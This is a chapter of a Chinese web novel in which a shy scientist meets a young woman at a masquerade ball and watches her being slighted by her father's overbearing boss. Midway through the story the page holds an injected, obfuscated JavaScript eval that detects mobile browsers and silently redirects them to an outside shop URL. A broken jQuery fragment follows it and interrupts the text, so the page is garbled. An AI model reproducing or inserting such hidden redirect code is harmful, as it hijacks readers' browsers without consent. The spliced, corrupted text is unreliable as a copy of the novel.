文趣网 > 都市小说 > 甩了自闭科学家后 > 4. 第 4 章
    柳熙给晏惜春打了个电话。

    那边没有接通。

    孟津注视着他,明诚也注视着他,在声声等待提示音中,越发焦灼。

    终于,在快要自动挂断的时候,电话忽然通了。

    对面背景音略有些嘈杂,但晏惜春的嗓音甜美而清脆:“哈喽学长~”

    “学妹,你在哪儿呢?”

    “星蓝酒店,化装舞会,”对面似乎有人在叫晏惜春,她应了一声,转头说,“有人找我,我先挂啦,明天再给学长打。拜拜。”

    电话挂断,三个男人面面相觑。

    “走。”孟津第一个站了起来。

    柳熙呆呆地看着他。

    孟津雄赳赳气昂昂,一拍桌子:“星蓝酒店是吧,这就去。”

    一旁,明诚站了起来,修长洁白的手指抚平外套上的褶皱。虽然沉默着,但他的行动已经表达了他的想法。他要去。

    柳熙左看看右看看,发现不得不去,便叹口气,跟上两人:“走吧。”

    三人抵达星蓝酒店,刚进宴厅,就有侍者迎上来,身前托盘里摆着几个精致的半脸面具。

    明诚取一个纯黑的面具,覆在脸上。他的面孔被挡去大半,只露出一双明澈的眼,以及线条利落的下颚。

    孟津挑了一只炫目的亮蓝色面具,笑嘻嘻地戴上。

    柳熙却没挑选面具,他望着前方,怔在原地。

    大厅里,打扮各异的男男女女觥筹交错,织成纸醉金迷的前景。大厅中间,旋转楼梯蜿蜒而下,一个女人出现在了楼梯的顶端。

    她扮作唐璜里的西班牙少女,她脸庞莹润,发间佩戴艳丽花朵,长发及腰,明眸动人,圆裙裙摆漾出波浪曲线。

    她微微低头,注视着脚下,缓慢下楼,挺直的鼻梁在脸上投下阴影,裙摆飘荡宛若花朵,倒悬在脚踝上方。

    孟津:“这就是你那位学妹?”

    看看柳熙,再看看明诚,他们的视线都落在这个女人身上。

    他的问题其实已经有了答案。

    孟津又问:“她叫什么名字?”

    “晏惜春。”

    一道富有磁性的声音响起,一字一顿,透出稀罕的认真。明诚居然开口了。

    他迈开脚步,朝着晏惜春的方向走去。

    柳熙想要跟上,却被一只手抓住胳膊。

    扭头一看,是孟津,冲晏惜春的方向抬抬下巴:“你过去干嘛,他难得这么主动,咱可别打扰他俩。”

    柳熙一拍脑袋,深感自己莽撞:“是我昏了头。”

    孟津乐呵呵地说:“走吧,我们去别处。”

    晏惜春一手扶着扶手,一手拎着裙摆,走下最后一级台阶。前方,光可鉴人的镶花地板上,出现了一双皮鞋,上面是西裤包裹轮廓笔直的双腿。一个男人已经等在那里了。

    她略疑惑地抬起头,看见他清瘦利落的身形,看见他脸上黑色面具,望进一双眼睛。

    “明诚,是你!”晏惜春笑了起来,和煦若春日暖阳,“巧了,咱们真有缘。”

    她自然地走到明诚身边,动作灵巧,停留在一个不远不近的距离——刚好令他心脏怦怦跳,却并不让他紧张。

    他应该说点什么,但此刻,他的大脑中只有嗡鸣。她的存在宛如黑洞,扭曲了他身边的那一处时空,他必须发挥全部的意志力,才能对抗这强大引力的作用,才能不向她坠去。

    明诚一个字也说不出来,只能听到自己的呼吸声。

    这样的他,实在无趣。明诚心下黯然。

    晏惜春却若无所觉,笑盈盈地与过往的熟人交谈,每每说得对方眉飞色舞,捧腹大笑。明诚立在一边,心里升起许许多多困惑。他们聊的是什么?这个词语是什么意思?为什么说到这个词语的时候,他们都笑了?

    他打开个人终端语言助手,瞳孔上映现出对他们对话详细的分析解释,他一目十行扫过那些信息,可是,他还是不明白。

    他不明白,这到底哪里有趣了?为什么她会对他们笑?

    如果他理解了这些,和她说同样的话,她是不是也会这么对他笑?

    如果不是,那他该怎么办?

    曾有很多人夸赞他、钦佩他、叹服他,说他有一颗绝顶聪明的头脑,知道世间所有问题的答案。

    可是明诚自己知道,并不是这样的。

    比如此刻,他一点也看不清、想不透、猜不出晏惜春身上发生的所有事。

    她是只把他当做一个恰巧遇到的认识的人,还是一个尚有些陌生的朋友?他们明天是否还会见面?如果他约她见面,她会答应吗?

    与她相关的问题,不是一望而知的封闭定论,而是有着有太多太多种可能。这让明诚担忧害怕,害怕他马上就要被她抛在身后;又令明诚兴奋,兴奋于他们此刻站得如此之近,未来或许还有这样近地体验她的温暖的机会。

    和晏惜春聊天的人来了又去,去了又来,明诚回过神时,和晏惜春聊天的是一个男人。

    明诚之所以注意到了他,是因为他的语调他的举止都激起了明诚本能的反感。

    他长得高大魁梧,脸庞周正,只是下巴过于宽阔,有些肉鼓鼓的。他们还没看见他时,就远远地就喊了一声:“晏惜春!”

    他的声音很洪亮,恐怕大半个宴会厅的人都听到了,纷纷侧目而视。

    晏惜春循声看去,脚步顿住。她迟疑了两秒,才面带微笑,状似寻常地迎了上去。

    “韩伯伯,没想到在这儿遇到您,您也来银沙星游玩吗?”

    “可不是,我来这边出差。”他笑,满面油光。他身边的美丽女伴笑意愈深,眉间浮起细细的褶皱。

    他浑然不觉地拉着女伴的手,继续用大嗓门嚷,“哎,我刚才老远就看见你了,结果还真是。巧了。小晏,你爸妈和你姐呢,怎么没见他们?”

    “他们没和我一起来。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697092|208007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “那你是自己来的,还是,和这位小帅哥一起来的?”他笑着打趣晏惜春,眼中闪动着的光却称不上善意。

    “这位是我在这里认识的朋友,凑巧碰上的。”

    “噢,那是有点巧,叫人误会就不好了。你一个人在外面,多危险呐,别叫你妈妈担心。”

    他没对明诚说一句话,也没有问他名字来历的意思,直接把他归类为了危险的来源。

    晏惜春的身体僵了僵,随即说:“是,您说的对。”

    他带着女伴离去,晏惜春站在原地,第一次露出一丝颓丧之气。

    明诚默默向她身边走了两步,向她靠近,凝视她的侧脸。

    晏惜春面无表情,仿佛一件糟糕的事情已经发生。几秒后,她挑了挑眉眉,吐出一口气。

    两人无话,走到了宴会厅一个人少的角落坐下。

    “刚才那个姓韩的是我爸的上司,”晏惜春缓缓对明诚说,“他并不是个令人愉快的人,而因为我爸爸的缘故,我也不方便反驳他。实在抱歉。”

    “没关系的。”明诚轻声应答。

    从来,都是他身边的人,被视为他的危险的来源,被他和家人严加提防。他自己,还是第一次被别人嫌弃。

    他有些不悦,但见到晏惜春的表现,这点不悦就被抛之脑后。显然,晏惜春才是那个因姓韩的而引发了更多负面情绪的人。

    他想知道,她有没有不开心,如果有,他怎么做,才能让她开心起来呢?

    他缓慢伸出左手,抚上她的眉心,指尖轻轻地按了按。

    按一按,抚平了,就不会皱在一起,就不会那么不开心了。

    晏惜春盯着他的动作,呆住,过了几秒才找回自己的声音:“你……放下手。”

    “不好意思。”

    不应该突破社交距离,不应该碰到别人的身体,陌生人会被这样的触碰吓到。她不是陌生人,但也不能不经她的同意,就这么对她。她会被他吓到。

    明诚后知后觉地意识到自己行为失当,他没能控制住自己。太差劲了。

    像以前被他吓到的人那样,她会生气,她会鄙夷而厌恶地盯着他,她会起身离开只留下一个决绝背影。

    明诚的心被紧紧攥了起来,苦涩的汁液从皱巴巴的心脏上淌下来,积满胸腔肺腑。不必抬头看晏惜春,他就知道她会怎么做。

    然而,想象中的责骂和渐行渐远的脚步声没有传来。

    他徐缓地移动视线,看见晏惜春坐在扶手椅上,凝视着他。

    “谢谢你。”

    晏惜春的声音,动听得宛如天籁。

    他被这道声音带上天堂,周围是羽翼飘飘手持金色弓箭的天使,鲜花芬芳弥满脚下,乐声欢畅飘扬高空。

    晏惜春笑了笑,注视着明诚:“我感觉好一点了。”

    明诚移开眼,不再看她。

    他怕他一望过去,就沦陷在她的眼波中,再也移不开视线。